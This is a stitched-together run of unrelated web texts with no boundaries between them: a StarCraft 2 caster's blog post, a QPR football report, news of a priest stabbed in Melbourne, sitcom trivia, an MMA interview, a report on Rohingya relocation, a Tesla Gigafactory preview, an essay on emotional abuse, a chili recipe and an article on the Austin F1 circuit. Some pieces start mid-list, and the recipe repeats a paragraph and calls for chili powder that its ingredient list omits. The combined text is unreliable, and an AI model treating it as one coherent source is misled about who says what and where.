Wouldn't be a blog with me if I didn't do a "announcement of announcements" kinda thing. EG has big plans that you will all hear about fairly soon. Korea, USA and everything inbetween. I am proud of this company and I am happy with where it is going. We have a winning squad of players, we have amazing support staff and we have plans to grow and develop amidst the gaming world.
I will go on as I am now. I will commentate the EGMCSL, I will host EG programs/projects. I will commentate every chance I can for big tourneys like Dreamhack and I'd love to do more.. IEM? MLG? OSL? etc.. All the while I will play as close to 8~10 hours a day as I can. In part because I always want to win but also because that makes me a better host/commentator/everything SC2. I am going to continue to do my part to eat right, exercise and try and keep happy. I think that is key when you are in the community spotlight a bunch.. no need to have another negative nancy/angry as fuck person broadcasting.
I want to start a youtube channel I actually work at. I have one.. but I haven't touched it in forever. So January ish and onward I will delve into that. I want to publicize a streaming schedule that I work to keep.. put in roughly 50+ hours of streaming a month. I want to minimize brainfarts (being too abrasive with Destiny, being mean to Avilo etc). People will always have their opinions of me.. lots of em bad some of em good and everything else.. that's fine. But I can honestly say the tremendous public outcry over a few of those things is not in any way shape or form justified to the crime but the crime(s) has still been something I regret and would do differently if given the chance. The thing about me that allows me to always feel good about my future is that I KNOW I will always strive to improve. In everything. Absolutely. I may still fail.. I may progress slower than what people would want.. but I will never ever look at myself and say "ah, I can rest! I am done, perfection!" I encourage you to give me multiple chances.. have leniency and love me for my faults. But if that ain't your cup of tea I not for one second will fault you. We are fortunate in SC2 to have a LOT of people to choose to follow, adore and respect.. if I am not one of them that probably means you have several others you can lend your support and I think that is cool.
It gets said a lot but I need ya'll to know this: I love you. I love you because if you are reading this you are a TL community person. You are a linked individual on reddit. You follow me on twitter or someone sent you here from their retweet. You are a part of what makes my life spin. Without you I don't have a salary. I don't have BARRISTAN who fills my every waking moment with laughter and happiness. I don't have the justification to do what I love to do and spend every moment I can trying to earn that. Sometimes I make it seem like I forget this.. forgive me. Know that it is in my blood to appreciate you.
THANK YOU
Joey Barton scored and was then sent off as QPR were beaten by Norwich.
Barton gave QPR an 11th-minute lead with a drilled effort but was then red-carded after an off-the-ball incident involving Bradley Johnson.
Norwich quickly capitalised on their numerical superiority with Anthony Pilkington's fine shot making it 1-1.
Media playback is not supported on this device Referee was conned - Warnock
QPR held their own in the second half with John Ruddy brilliantly saving Adel Taarabt's free-kick, but late on Steve Morison swept in Norwich's winner.
Last week Rangers captain Barton became a father for the first time after the birth of his son - Cassius Joseph - and the new parent scored only his second goal for QPR to give Rangers an early lead.
Barton fired a low shot past Ruddy after some neat combination play between Alejandro Faurlin and Clint Hill down the left.
The goal helped relax QPR, who had made a tenative start as they searched for their first win in eight games, and Neil Warnock's side controlled the game before Barton's red card.
With QPR sweeping forward after clearing a Norwich corner, Barton was in the centre cirle when he tangled with Zak Whitbread and then Johnson, with referee Neil Swarbrick touching his forehead to indicate the Rangers midfielder had used his head in the clash with the Norwich player.
WORRYING TIMES FOR QPR Rangers have picked up just two points in eight games
The former Newcastle midfielder, who has reinvented himself through Twitter over the last year, protested his innocence as he departed down the tunnel, but his team-mates were soon to feel his absence.
With two minutes left in the first half, Pilkington's precise left-footed shot nestled in the corner with Paddy Kenny well beaten.
QPR manager Neil Warnock withdrew James Mackie and replaced him with Shaun Wright-Phillips at the start of the second half - an astute substitution as the former Manchester City winger's ability to run with the ball brought some respite to the home side.
Wright-Phillips quickly tested Ruddy with a low shot and then, in tandem with Taarabt, almost released Heidar Helguson.
Media playback is not supported on this device Lambert pleased with 'excellent' Norwich
QPR came mightily close to regaining the lead through a dipping Taarabt free-kick that was pushed on to the post by Ruddy.
Both Taarabt and Faurlin also played key roles for QPR in keeping hold of the ball and keeping Norwich at bay.
Midway through the second half, Norwich manager Paul Lambert introduced all three of his substitutes - David Fox, Wesley Hoolahan and Morison - in a bid to wrest control of the game from Rangers.
With 10 minutes remaining, Federico Macheda came on to make his QPR debut following his and almost immediately scored only to be beaten to a Wright-Phillips cross by Ruddy, who punched clear.
Reverend Tomy Kalathoor Mathew, 48, was just about to start the 11am Italian mass at St Matthew’s church in Fawkner North when a man approached him.
The man allegedly yelled 'you are Indian, a Hindu or Muslim, you cannot say mass... I will kill you,' church officials told the Herald Sun.
Reverend Tomy Kalathoor Mathew (pictured), 48, was stabbed in the neck at St Matthew's Parish in Melbourne as he was about to begin Italian mass
Rev Mathew leading mass at the parish where he was stabbed by an unknown man
They began to argue and the man allegedly produced a kitchen knife from his pants and stabbed Rev Mathew in the neck in front of dozens of parishioners.
Several people tried to restrain the attacker, but he broke free and fled the scene.
He was later seen on Minona Street, where he escaped some worshipers who pursued him.
Later on Sunday evening, a 72-year-old man was arrested in connection with the stabbing, police announced around 9pm.
The man, who lives in Fawkner, has not yet been charged, police said.
Rev Mathew was not seriously injured in the brazen attack but was rushed to hospital after his flock gave him first aid inside the church.
The alleged attacker was seen hanging around the church last weekend but has not attended any services.
The attacker allegedly told him 'you are Indian, a Hindu or Muslim, you cannot say mass... I will kill you,' before arguing and stabbing him in the neck
Rev Mathew was not seriously injured in the brazen attack but was rushed to hospital after his flock gave him first aid inside the church
'At this stage it is too early to tell [motive] and the investigation is ongoing,' Detective Senior Constable Rhiannon Norton said at a press conference.
'There was a large number of witnesses but we are appealing for anybody who might have seen this offender.
'At this stage we believe the incident is isolated and there is nothing to suggest that he is a danger to anyone else.'
The offender was described as an Italian man in his 50s of thin build and was last seen wearing grey clothing.
It was unclear early on Monday whether the man described by police was the same man who was arrested in connection with the crime.
2. Colbie Smulders, who plays Robin Scherbatsky, is actually from, you guessed it, Canada. They both hail from the Great White North, specifically, Vancouver. Go Canucks!
3. Barney Stinson, a drug dealer? Yes, that’s right. Neil Patrick Haris’ character, that we oh-so-much love, is named after a heroin dealer from James Ellroy’s book, L.A. Confidential.
4. Sandy Rivers, Blauman, and Scooter are three of the main cast’s significant others: Alyson Hannigan, Colbie Smulders, and Neil Patrick Harris, respectively.
5. Alyson Hannigan (Lily) was pregnant for most of Season 4. The writers had a little fun with it. Check out The Possimpible (Season 4, Episode 14).
6. Samm Levine (remember Freaks And Geeks?) could’ve been Barney Stinson!
7. Carter Bays, co-creator of the show, Tweets some awesome HIMYM trivia!
Once again, that was the great Sam Moore singing the Bang Bang song. Trying to get it up on itunes, for all your mood-setting needs. #HIMYM — Carter Bays (@CarterBays) September 24, 2013
8. To this day, no one knows what Barney’s actual job is.
9. Someone actually proposed (for real!) on an episode of HIMYM.
During one episode, Robin gets upset in the restaurant when receives a glass of chamapagne with engagement ring, thinking that Ted is gonna propose to her. At the moment when Ted says “It’s not mine”, another gentleman gets up from the table behind them, and says “It’s my” and return to his table where he proposes to his girlfriend. The marriage proposal was not a part of the script, but realistic situation. The man planned the whole scene with the producers of the TV show and had told to his girlfriend that they received a price to participate in one episode of “How I Met Your Mother”. So, he prposed to his girlfriend to be his wife and that marriage proposal will “live forever”, recorded as a part of an episode of this popular sitcom.
10. This infographic!
Being a national junior Golden Gloves champion and a decorated wrestler, many thought the 20-year-old prospect would run through his opponent Zach Freeman in the lightweight contest at Bellator NYC in Madison Square Garden Arena. Instead, Pico was wobbled by an early uppercut and was submitted with a guillotine choke all within the first half-minute of the bout.
“He caught me with that uppercut, it was a nice uppercut by him,” Pico told reporters at the post-fight conference. “Obviously, taking that shot I knew that he was going to try to take me to the ground somehow, he’s strong in his jiu-jitsu. I haven’t sat down and watched the whole film, but yeah, he got me with that uppercut and his choke was good. There are things that I need to work on, but like I said, we’ll go to the drawing board with Bob [Cook] and my team and evaluate where we go next and go from here.”
Despite having a disappointing showing in front of thousands of fans, Pico remains positive and will not let this unfortunate outcome be a hindrance on his young MMA career.
“Anything can happen obviously in this sport, and I was aware of that,” Pico said. “It’s definitely a tough pill to swallow, but there was obviously a hole in my game tonight, so it is what it is. This doesn’t define me, it’s my first fight, it’s just a bump in the road and I’ll be back for sure, I’ve dealt with this before throughout my career. Everybody has lost before, so I’m not going to go home and be depressed. I know what I need to do, so I’ll take a week off and I’ll be back in the gym for sure.”
One of the talking points in the build up to Pico’s fight was Freeman’s experience advantage, as Freeman had already 10 professional fights. Yet, looking back, Pico doesn’t regret stepping up to the challenge, and vows to come back stronger.
“I felt like I could challenge myself, but hey, you make mistakes in life and it is what it is,” Pico said. “The only thing I can keep doing now is just move forward. I still feel my abilities are better, but he was the better man today. Like I said, it’s a tough pill to swallow but nothing has changed. I’m just going to keep doing what I’m doing, and get better.
A committee comprising state officials in the coastal districts of Bangladesh has been set up to direct authorities to help identify undocumented Myanmarese refugees and relocate them to a remote island in the Bay of Bengal, media reported on Monday.
“The committee will assist transferring both registered and unregistered refugees from Myanmar to Thengar Char near Hatiya Island in Noakhali district,” according to an order issued by the Cabinet Division last week.
The order says all the refugees will be relocated to Hatiya Island and required to stay there.
“It has to be assured by taking preventive measures that they (refugees) cannot spread out and mix with the locals,” further read the order, emphasizing, “The identified refugees should be arrested or pushed back to the camps if they try to go out beyond the assigned boundary.”
Currently, the Rohingya refugees in Bangladesh mostly live in squalid conditions in the port town of Cox’s Bazar.
Bangladesh first contemplated forcing the refugees to move to the uninhabited island in 2015.
A Rohingya Muslim woman and her son cry after being caught by Border Guard Bangladesh (BGB) forces while crossing at a border checkpoint in Cox’s Bazar, in Bangladesh, November 21, 2016. (Photo by Reuters)
The plan has been met with an outcry from Rohingya community leaders.
Some 232,000 Rohingya asylum seeker had already sought refuge in Bangladesh when the Myanmarese military forced more than 65,000 of them to flee to Bangladesh.
The minority Muslims are already facing abuse, including torture, murder, and rape, in Myanmar, with the government laying a siege to the state where they are concentrated.
Myanmar’s military began a harsh crackdown against Rohingyas in the Rakhine State after an attack by unidentified elements on the country’s border guards on October 9 last year left nine police officers dead. The government blamed the attack on the Rohingya.
According to the agenda sent to investors and obtained by Electrek, opening remarks will start at 9am and then the factory will be open for guided tours. No pictures will be allowed inside the factory. CEO Elon Musk, CTO JB Straubel and CFO Jason Wheeler, will be available for a Q&A.
The timing of the event is particularly interesting since Tesla is expected to announce the start of battery cell production at the plant and reveal more details about its battery cell developed in partnership with Panasonic any day now. Throughout the year, Tesla has been guiding the start of battery cell production as “later this year” and there are only 3 days left in 2016.
We expect a better understanding of Tesla’s short-term plans for production at the Gigafactory to come out of the event. The company says that it aims for 50 GWh of production in 2018, but plans for 2017 are not as clear.
Tesla is supposed to start producing second generation Tesla Energy products, the Powerwall 2 and Powerpack 2, in volumes during the first half of 2017 and the Model 3 production will add to the battery demand during the second half. Therefore, Tesla and Panasonic’s production capacity at the factory in 2017 will be a critical factor to Tesla’s success during the year.
Finally, we recently revealed that Tesla is expanding the manufacturing scope of the Gigafactory with highly automated drivetrain production lines. The factory was only supposed to manufacture battery cells and packs at first, but now Tesla is apparently expanding to drive units. We could get a better idea of the overall manufacturing scope of the plant after the event next week.
When people treat you as if you are crazy, it isn’t because they think you are crazy, it is because they want YOU to think you are crazy.
When people treat you as if you are stupid, it isn’t because they think you are stupid, it is because they want YOU to think you are stupid.
Their purpose or motive for the way that they treat you is actually about what serves them much more than it is the way that they see you. These people have a motive and it isn’t a motive driven by love, it is a motive driven by the desire to have control.
Understanding this made all the difference in the world in my recovery and in overcoming the false definitions of “me” that had been put on me by abusive, uncaring, controllers and manipulators who felt entitled to treat me like I didn’t matter. The ways that I was treated by these people communicated to me that they were more important than I was. Part of the way that they convinced me of my lesser value was through the subtle or obvious messages that something was ‘missing’ or ‘wrong’ with me and with my reactions to life.
When I was a child and my teacher yelled at me saying that I wasn’t paying attention because I didn’t have the right answer, and then she rolled her eyes and added that I was such a frustrating child, I reacted by trying harder.
I didn’t like being shamed in front of the entire class. I didn’t like the disapproval that was communicated to me. I didn’t like the feeling that I was such a disappointment; as long as I was trying harder, the teacher felt like she was in control.
And as long as I was trying harder, she was in control…
Remember the kids in school who ignored the teacher and didn’t seem to be affected by the reprimands and just kept doing the things that made the teachers angry but kept the rest of the class giggling? Those kids seemed fearless. I remember being afraid for them! I didn’t even consider being one of those kids.
I hated the way she defined me as “a daydreamer” and “lazy student” and how she would say “oh what am I going to DO with you Darlene?” I would never risk being even more of a disappointment by continuing to frustrate her.
As long as I was trying harder, her actions against me were validated; if I was trying harder it proved to her that she was right. It served her purpose to define me as frustrating and difficult or lazy and exhausting. As long as I was feeling shamed and trying to please her, she knew she had the power.
People like that have their power mixed up with their worth.
It served her purpose to make me feel guilty. When I felt bad, I tried harder to please her; when I tried harder, she felt better about herself. It served her purpose to define me in ways that hurt my self-esteem because I would focus on HER and on pleasing her.
If my teacher had ever validated me (like a confident, healthy, teacher who was secure in her own self-esteem might have done) I could have relaxed and flourished in the warmth of her approval. In a healthy and functional relationship this is a wonderful thing! But in her world, I was the object of her self-esteem.
In her mind, if she had enough power to make me feel guilt or shame, then she felt better about herself.
If she could cause me to ‘try harder’ she felt worthy. She felt better by tearing me down.
And because my trying harder didn’t give her ‘real’ worth, the abuse tactics never ended. She needed a little more of this false self-esteem booster, all the time. She had to keep me in the spin of always getting me to keep looking at myself to see why I was such a disappointment to her so that she could keep feeling the little buzz she got from having that power over me.
That teacher had her power mixed up with her worth. She could only feel her own worth when she overpowered other people.
When people treat you like you are crazy, lazy or stupid think about what their motive might be. Slow down long enough to think about why they are reacting to you that way. Why would a healthy person be responding to you as though you are crazy or stupid? Think about what I have shared here and notice what tearing you down can do for them.
Do these people that constantly ask you to jump through their hoops want to empower you to be who you really are or do they want to overpower you because getting you to do what they want, be who they want and act how they want you to makes them feel some sense of worth?
Is the way that they regard you, or define you, really about you or is it about how they want YOU to feel about you?
Think about this. Oftentimes realizing the motive provides the most clarity when someone is talking down to you.
We all have power however there is a proper use of power and the proper use of power is to empower ~ NOT to overpower or disempower. The sad truth is that a lot of people who have low to no self-esteem have been taught that power IS worth and they can’t seem to let go of the need to overpower as a means to ‘proving’ to themselves that they have worth.
My mother had her power mixed up with her worth too. It would never serve her purpose to tell me how wonderful that I was. If I ever stepped out of the spin of trying to figure out how to make her love me and approve of me, I would have seen her for who SHE was and I think she knew it. I think that was her biggest fear.
Her biggest fear was that SHE would be exposed so she kept the finger of blame, shame, guilt and failure always pointed at me. As long as I was spinning around in fear, shame, guilt and failure, I would never see her for who and what she really was.
As long as I didn’t know my true value I would never see that her treatment of me was wrong and that her treatment of me only proved HER lack of self-worth.
When people treat me as if I am stupid, crazy, frustrating or as though I am less important than they are it isn’t because they think I am stupid, crazy, frustrating or less important than they are ~ it is because they want ME to think I am. As long as I am looking at me I will never look at them and as long as I am not looking at them I won’t see the pathetic person behind the abusive, controlling belittling and self-important attitude. As long as I am busy trying to prove that I am worthy, and that MY motive is NOT for harm, they have me right where they want me; under their spell.
This is one of the most important concepts to cement into your new belief system going forward in the healing journey. Please feel free to share your thoughts and discoveries or your struggles and frustrations in the comments.
Exposing Truth; one snapshot at a time,
Darlene Ouimet
The Emerging from Broken book “The Beginning of Hope for Emotional Healing” is ready for download! If you find that the subject matter I am writing about resonates with you, get this book today! This 197 page, downloadable, printable, live linked e-book will put you on the fast track to healing. Get yours here through the upper right side bar or click this link~ Emerging from Broken The Beginning of Hope for Emotional Healing
Related posts ~ “Why People discount the Adult Child and Defend the Abuser”
Chili is a strain on my marriage for a number of reasons: I enjoy extremely spicy flavor profiles. My wife does not. I am a huge fan of Mexican and tex-mex food. My wife is not. My body tolerates extreme pain in the mouth area. My wife’s does not. There are other reasons, but these are the ones that will be stated on the divorce papers.
Chili is one of my absolute favorite things on Earth. Here’s the breakdown:
My Very Favorite Things
Calvin and Hobbes Fender Stratocasters Chili John Kennedy Toole’s A Confederacy of Dunces Sex The Smiths Beer
So you can see it’s pretty up there. I’ve sort of rounded out my recipe over the last couple of years, venturing off into uncharted territory into new spices and peppers and ingredients I wouldn’t have thought were important. I enjoy letting people watch me do the chili thing because they tend to ask lots of questions as I go through the process. Especially Daniel, he likes the walkthrough and I’m glad to give it.
I’ve been asked for the recipe numerous times, so today I decided to sit down and tap it out. I’ve always winged it, really, but when I did the Erath Fire Department Chili Cook-off in Erath, LA last year, I had to get my shit together and start writing it down. Nothing hones the edges of a recipe like having to scale it out to five gallons or so.
I won the spicy category in that chili cook-off too, but don’t tell anyone that I was the only entry.
On To The Chili!
First, a description of the chili:
Huge chunks of meat in a thick liquid, dark red-brown in color, this chili has a look that’s highly inviting. It’s a combination of ground meat and cubed chuck, so what you end up with is the chunks as the ‘main course’ and the ground bits as part of the ‘gravy,’ so to speak. The flavor has a huge up-front pop, with bold lime and cilantro flavors rounded out by the spicy darkness of adobo sauce and cumin. Underneath the up-front profile is a clever darkness, a combination of stout beer, chocolate, and the ground guajillo and ancho chilies. You chew; you savor; you smile; you swallow.
Then something else happens, something that’s like orthodontic work mixed with experimental back surgery. The heat profile has followed the flavor into battle–habanero, bird’s-eye, poblano, anaheim, and jalapeno in a phalanx steadily approaching your sinuses. You are not ready, but it’s too late. It’s like the Borg—resistance is futile. You want to hate the heat. You want to curse at the cook, to blame him for the agony, but you don’t because–like a mother in the throes of labor–he’s put this damnable thing inside you that you love. You wanted it and you got it and it’s going to be worth it once the pain’s over. Tough it out, soldier. You’re in chili country.
You’ve been warned: this may not be fun. Of course, you can adjust the heat by selecting different peppers for your version of the recipe, but if you’re one to follow recipes to the letter, this is going to be an adventure. You’re going to learn the ins and outs of capsaicin, where you do and don’t want to get it, what you should and shouldn’t touch after you work with peppers. On with the show, friend. It’s Chili time.
Ingredients:
2 pounds ground meat
2 pounds stew meat (cubed chuck)
4 ribs of celery
3 tbsp garlic
2 large white onions
3 poblano peppers
4 habanero peppers
10-15 bird’s eye chilies
5 dried guajillo chilies
4 dried ancho chilies
Creole seasoning (something like Tony Chachere’s, pick your favorite)
2 tbsp cumin
1 tbsp paprika
1 tbsp oregano
2 tbsp chopped chipotle with adobo sauce
1 8oz can tomato sauce
1 28oz can ro-tel diced tomatoes and chilies
1 bunch chopped cilantro
1/2 cup corn flour
3 bottles stout beer (abita turbodog is a good one for relatively cheap in our area, your area probably has something similar. Use Guinness if you don’t have it)
2 regular beef bouillion cubes (or 1 of the big ones they sell in the hispanic foods section, the soft ones)
3 tbsp brown sugar
juice of 3 fresh limes
1 square of 100% cocoa unsweetened baker’s chocolate (1 oz each, I think)
Mise en Place
The Mise en Place is pretentious foodie bullshit speak for getting all your shit in a sock before you start. When I get to where I know a recipe really well, I can put the heat on and just chop as I go. With chili, though, even though I’ve done it a thousand times, I do the full layout ahead of time. Here’s what you do:
Get the stew meat into bits about 1” or so wide. You can leave them larger if you’d like, but any smaller and they just aren’t the feature of the chili anymore and that’s what you want. Chop the celery, onion, and poblano peppers. Use gloves with the habaneros and bird’s eye chilies, or rub oil on your hands before you work with them so that the oils don’t work their way into your skin and burn (you’ll regret it if you go to the bathroom without heeding this warning). I don’t go so far as to measure out the spices and put them in little pretentious bowls, but you can do that too if you’d like.
Method
All right, by now you’re committed to following through with this thing, despite my warnings. Off we go.
Season the stew meat ahead of time, creole seasoning and worcestershire. Wing it.
Put the heat on under a very large pot—something like a stock pot will do—and put some olive oil in the bottom. High heat, let’s get it searing hot.
Brown the chunks of stew meat in the oil. Do it in small batches so that you don’t overcrowd the pan and wind up sauteeing them; that’s not what we want. We want a good, brown, crispy outside without cooking them through. Screaming hot, that’s what we need. Add more oil between batches if needed.
Take the chunks of meat out and put them aside once they’re browned. You should have a nice bit of brown gunk on the bottom of your pot. Throw a little more oil on top of it and throw in your ground beef. Throw some creole seasoning on that as well.
When the meat’s done, dump it out into a colander, then put the colander over the pot so you get some of the grease back in it. Then put the colander in the sink and let it finish draining. Put the pot back on the stove and let the oil come up again.
When the meat’s done, dump it out into a colander, then put the colander over the pot so you get some of the grease back in it. Then put the colander in the sink and let it finish draining. Put the pot back on the stove and let the oil come up again. Throw your chopped veggies—peppers, onions, celery, and garlic—into the pot and sautee them well.
Once the vegetables are soft, throw the meat back in and mix it all up. Let it come together for a few minutes while you open your cans of tomato sauce and ro-tel
Add 3 tbsp of the chili powder, the cumin, the ro-tel, the tomato sauce, and the chipotle pepper. Add half the cilantro. Pour in the beer until the meat is covered. Add the paprika. Add the lime juice. Add the bouillion cube to the liquid. Add the sugar. Add the chocolate.
Stir the mess and turn the heat to medium. Check it every 15 minutes or so, give it a stir, then go and do something else. It’s going to be a while before it’s ready, so don’t get impatient and start messing around with it.
You can add salt as needed, but it’s best to avoid it as much as possible. It’s easy to add salt later, and if you’re serving this over Fritos, hot dogs, or french fries, those things have a good bit of salt already.
Serving
So there are a gajillion ways to present this masterpiece, but my favorite is and always will be Chili Fritos—Frito Pie, whatever you call it. I like to heat up some black beans on the side and serve them up with a spoonful of those in the bowl. Note that chili doesn’t have beans in it, and note that I didn’t say “my chili doesn’t have beans in it.” No, chili doesn’t have beans; it doesn’t need beans; beans don’t belong. Make them on the side and let your guests decide for themselves if they want them; they’re big boys and girls
and can make their own decisions. Anyway, I serve it over a pile of crushed Fritos with a spoonful of black beans off to one side of the bowl, a dollop of sour cream on the other side, and a pile of shredded nacho cheese in the middle. I use expletives when I eat it because that’s what you’re supposed to do.
Bobby Epstein guns his Cadillac Escalade up a 130-foot incline, banking left into the hairpin of Turn 1. What's terrifying at 180 mph in a Formula One race car is, at one-quarter the speed in an SUV, a soothing break from reality. If he rolled down his window the chairman of the Circuit of the Americas racetrack would be bathed in the dust and noise of 1,000 workers and heavy machines hustling to prepare the 1,100-acre site for the inaugural United States Grand Prix, just five weeks away. The smooth asphalt blowing by quietly beneath us is just about the only thing fully completed.
The pressure is on: 100,000 tickets for the three-day race weekend, Nov. 16-18, have already been sold. The race promises to be a boon for Austin, better known for Willie Nelson, the University of Texas and South by Southwest. The grandstand looks impressive, as does the Paddock Club--12 suites at 10,000 square feet each--primed for well-heeled swells who'll pay at least $4,200 for the chance to watch 56 laps of the 3.4-mile track from just above the pits. Austin has cooked up the typical self-justifying statistics--the track will boost local business by $300 million a year, according to a study--and Epstein's figures are still more ebullient ($500 million).
Yet for all the excitement, Epstein, a 47-year-old bond trader whose idea of a good time is driving his RV around the country, finds himself something of a hostage. He never intended to end up as the biggest investor in a $450 million sports debacle or the central character in a two-year soap opera that pitted him and a San Antonio billionaire against a small-time race promoter.
But here he is, stopping his Escalade in the middle of the track to make sure I get a close look at the 251-foot-tall tower that will provide 100 people a bird's-eye view of the whole shebang. Building it was his idea, part of a project into which he's now personally sunk an estimated $50 million or more.
"When the stands fill with people it will feel a lot better than how it feels today," he admits. "If you had told me up front there would be that many hurdles, I either would have been better prepared or I don't know if we would have done it."
The only-in-Texas saga of how F1 came to Austin starts with a guy named Tavo Hellmund. The son of a race promoter, he grew up locally, aspiring to be an F1 driver, and raced stock cars in the U.S. and Formula Three in Europe. His real dream was to bring Formula One to Austin.
"I live and breathe racing," says Hellmund, an intense 46-year-old who alternates spitting out profanities and tobacco juice. "And there's nothing I wanted to see more in my entire life than a Formula One Grand Prix here in my own hometown."
In 2007 Hellmund sketched out a track design, inspired by the best turns of tracks like Brazil's Interlagos, England's Silverstone and Turkey's Istanbul Park. He brought the plans to Bernie Ecclestone, the billionaire chief executive of Formula One--and a friend of his father's.
Ecclestone has long been keen to increase the sport's presence in the U.S. In the rest of the world F1's races generate $2 billion in revenues, bolstering prospects for an initial public offering that could raise $7 billion--or more, if F1 can get U.S. investors excited. Back in 1982 there were three Formula One races in the U.S. But they faded away as Nascar and its oval tracks ascended; the leftover twisty tracks were unable to keep up with the safety needs of ever more ambitious race cars. The last U.S. race was at the Indianapolis Motor Speedway in 2007.
After what he says were maybe a dozen meetings and many more phone calls, Hellmund eventually coaxed a contract out of Ecclestone that granted him the rights to run a Grand Prix in Austin for ten years. On some big conditions: He had to build a track, plus pay Formula One $23 million a year in sanctioning fees.
With that guarantee Hellmund turned around and cut what he thought was a solid deal with the state of Texas to tap the Major Events Trust Fund (used to help attract perceived economic boons like the Super Bowl) to pay those $230 million in sanctioning fees over ten years.
Hellmund priced out how much it would cost to build a raceway--between $200 million and $250 million, he guesstimated--and then set out to find some local deep pockets.
He quickly found Epstein. Little known outside of Austin, Epstein established himself as a bond trading researcher at Dain Rauscher; in 1992 he started and then sold his own broker-dealer, and then founded Prophet Capital Management in 1995. His hedge funds now manage $2 billion.
Epstein, who had been to only one F1 race prior to his involvement, is a thin, cerebral guy from Dallas, who regularly lunches at Wild Bubba's Wild Game Grill near the track (try the longhorn burger). When he met Hellmund, Epstein was looking for something to build on land he owned outside of town; his plan to build 1,200 homes succumbed to the real estate crash. Hellmund's F1 contract and state-subsidized windfall looked appealing.
One thing Epstein didn't want was the spotlight, so he sought out a higher-profile partner with experience in cars and sports. Billy Joe "Red" McCombs was a natural fit. The billionaire built up a chain of auto dealerships in San Antonio before making his $1.3 billion fortune as an early investor in Clear Channel Communications. At various times he's owned the Minnesota Vikings, San Antonio Spurs and Denver Nuggets. "When you think about sports, showmanship and Texas, it's a short list that leads you to Red," says Epstein.
At 84 and in the process of handing over his empire to his daughters, McCombs was more averse to risking millions on a wild ride, but he liked Epstein and he liked the project. "It's something that I ordinarily wouldn't do, but I recognized that the people who had it didn't have a chance to get it done," he says, referring to Hellmund. "Didn't have a chance."
In July 2010 Hellmund, McCombs and Epstein started a new partnership, Accelerator Holdings. In exchange for a 20% share, Hellmund would chip in his F1 contract and another deal to host a MotoGP motorcycle race, both to be underwritten by those millions in state funding. For their 80% McCombs and Epstein pledged to raise a minimum of $190 million by Mar. 31, 2011.
But what looked good on paper went south--quickly. The parties have differing versions, but documents and conversations with people in the know weave a fairly consistent narrative.
What's clear is that in plunging ahead with groundbreaking in December 2010, McCombs and Epstein made two blunders familiar to all those who've ever fallen blindly in love with a business idea: They began investing their money and reputations before they figured out how to make a profit, and they neglected to tie up legal loose ends.
When the Mar. 31, 2011 day of reckoning arrived, Epstein and McCombs were not ready to inject $190 million into the risky project. Hellmund says he was eager to assign his contracts as soon as his partners fulfilled their financing obligations and proved they had access to enough cash to get the job done.
Meanwhile, the clock was ticking: Ecclestone had already penciled in June 17, 2012 as the date of the inaugural U.S. Grand Prix at Austin. Both sides had leverage. Hellmund's partners were already pregnant with the project, having put up a few million to start construction. Epstein and McCombs knew Hellmund had little option but to cooperate and sign over his contracts?--where else could he hold his race?
But despite being bound together, the marriage soured. Hellmund claimed he was barred from seeing any financial statements and cut out of decision-making, even the hiring of Steve Sexton, former president of Churchill Downs, as the Circuit of the Americas' new president. He also griped that his promised salary of $500,000 and position as the chairman of the U.S. Grand Prix failed to materialize. (The company denies all of these claims.)
"He wanted to run the business as a race, versus running it as a multidimensional company," says Epstein, referring to Hellmund and the decision to bring in Sexton, despite his lack of car racing experience. Under Sexton the track made a deal with Live Nation to bring concerts to the 15,000-seat amphitheater on-site. What's more, the grandstand area can be transformed into a soccer pitch or tennis court.
Those close to the relationship say that Hellmund's behavior became more erratic. Track employees say weeks passed during which they never saw him in the office. Sources say Hellmund was convinced that his e-mail was being hacked, that he was being followed, that his partners were trying to cheat him. Hellmund declines to comment on any of this.
The project lurched forward despite the legal limbo and dysfunction. Costs skyrocketed. Expensive soil remediation was required, and a gas line had to be moved. The city council endorsed the project on the condition that the track put up $5 million to fund green technologies. At $450 million the track will cost double Hellmund's original estimate.
Slow, underfunded construction meant there was no way the track would be ready by the June 2012 race day. Ecclestone agreed to move the race to November. But he was running out of patience; Ecclestone still hadn't received the $23 million sanction fee to make Hellmund's contract valid--and Hellmund still hadn't signed it over to the partnership.
But although moving the race date bought them time, it messed up the deal with the state, which by law couldn't hand over cash more than a year before the event.
Then late last summer the dysfunction came to a head. Hellmund claims he had cobbled together a new group of investors to replace Epstein and McCombs. "I offered to buy them out," says Hellmund. "They refused." Epstein says they "never received a verifiable offer from Mr. Hellmund." Epstein and McCombs instead agreed to pay Hellmund $18 million for his shares in the track--and for his F1 and MotoGP contracts.
Yet again, a deal didn't get done. "We were prepared to pay a large sum of money for valid contracts," says Epstein, regardless of whether the sanction fees had been paid. Sources say Epstein went to London to clear the buyout with Ecclestone, who might have thought it odd that the man who dreamed of a Grand Prix in Austin and had been touting himself as the face of the project would want to walk away from it. Ecclestone's response: Work it out with Hellmund.
But they didn't. Worse, on Nov. 15, 2011, Texas Comptroller Susan Combs, bowing to political pressure, announced that no taxpayer handout would be paid before the race at all. They would have to find another way to underwrite the sanction fee.
In November 2011 Epstein and McCombs halted construction. It made no sense to keep building if they didn't legally have a race to run the following November.
Epstein again approached Ecclestone, seeking to persuade him to cancel Hellmund's contract (which was in breach for nonpayment). And again Ecclestone stood by his friend's son, reportedly accusing Epstein and McCombs of "trying to steal" the race from Hellmund. He also publicly threatened to pull the race entirely.
In the end Ecclestone agreed to issue the Circuit of the Americas its own ten-year contract--at a price. He upped the annual sanction fee to $25 million instead of the previous $23 million. "Bernie is a master negotiator," says Epstein.
"I've made a big effort to make sure this race happens," Ecclestone tells FORBES. "I never had any problems or doubts. The doubts were all on their side."
The circus didn't end there. Epstein had succeeded in getting a new F1 contract without paying off Hellmund. But Hellmund still had his interest in the company.
Even though their contracts called for disputes to be resolved in arbitration, Hellmund sued his partners in March, accusing Epstein and McCombs of willfully ignoring the terms of their contracts. Rather than get bogged down in a court fight, Epstein and McCombs finally settled with Hellmund in mid-June--for considerably less than the $18 million proposed payout, according to sources familiar with the deal. Asked about Hellmund's payout, Epstein says, "I'm willing to be patient for success, and not everybody is willing to be patient."
Now, with the race finally at hand, some semblance of normalcy has returned. Hellmund is out. McCombs, too, has dialed back his involvement and capped his equity contributions but is believed to be a guarantor behind much of the track's debts. Epstein, meanwhile, has attracted more than a dozen new equity investors, including Paul Mitchell/Patrón billionaire John Paul DeJoria. Racing legend Mario Andretti was hired as the public face of the track.
